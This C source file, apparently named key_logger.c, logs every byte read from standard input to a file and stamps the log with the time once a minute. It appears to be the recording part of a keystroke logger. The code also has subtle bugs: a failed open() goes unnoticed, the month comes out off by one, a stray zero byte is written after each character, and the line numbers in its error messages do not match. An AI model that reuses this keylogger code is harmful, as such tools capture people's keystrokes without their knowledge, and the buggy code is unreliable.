#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <pwd.h>
#include <fcntl.h>
#include <limits.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>

#define LAG_TIME 1			//Set in minutes

int main(int argc, char *argv[]) {
	time_t temp;
	struct tm* curtime=0;
	FILE *logfile;
	int last_time=0,temp_time, buf[2]= {0,0}, fd;

	if(argc < 2) {
		printf("Improper invokation\n");
		return 0;
	}

	fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0666);
	if (!fd) {
		fprintf(stderr, "Couldn't create temporary file: %s\n", argv[1]);
		perror("key_logger.c line 31\n");
		exit(EXIT_FAILURE);
	}
	if((logfile = fdopen(fd, "w")) == NULL){
		perror("Error converting to file stream.  key_logger.c line 34\n");
		exit(EXIT_FAILURE);
	}
	while(read(0, buf, 1) > 0) {
		if(buf[0] == 0xFF) {
			break;
		}
		if(time( &temp ) == (time_t)-1){
			perror("Error getting time.  key_logger.c line 43\n");
			exit(EXIT_FAILURE);
		}
		if((curtime = localtime( &temp )) == NULL) {
			perror("Error getting time.  keylogger.c line 38\n");
			exit(EXIT_FAILURE);
		}
		temp_time = (60*(curtime->tm_hour+1)) + (curtime->tm_min+1);

		if((temp_time-LAG_TIME)>last_time) {
			last_time=temp_time;
			if(fprintf(logfile, "\n%04d-%02d-%02d %02d:%02d:%02d:\n", (curtime->tm_year + 1900), curtime->tm_mon, curtime->tm_mday, curtime->tm_hour, curtime->tm_min, curtime->tm_sec)<0){
				perror("Error writing to temp log file.  key_logger.c line 55\n");
				exit(EXIT_FAILURE);
			}
		}
		if((fwrite(buf, 1, 2, logfile))==0) {
			perror("Error writing to temp file.  keylogger.c line 60\n");
			exit(EXIT_FAILURE);
		}
		if(fflush(logfile)!=0){
			perror("Error writing to temp file.  key_logger.c line 64\n");
			exit(EXIT_FAILURE);
		}
	}
	if(fprintf(logfile, "\n")<=0) {
		perror("Error writing to temp file.  keylogger.c line 69\n");
		exit(EXIT_FAILURE);
	}
	if(fflush(logfile)!=0) {
		perror("Error writing to temp file.  keylogger.c line 73\n");
		exit(EXIT_FAILURE);
	}
	if(fclose(logfile) == EOF){
		perror("Error closing temp logfile.  key_logger.c line 77\n");
		exit(EXIT_FAILURE);
	}
	exit(EXIT_SUCCESS);
}
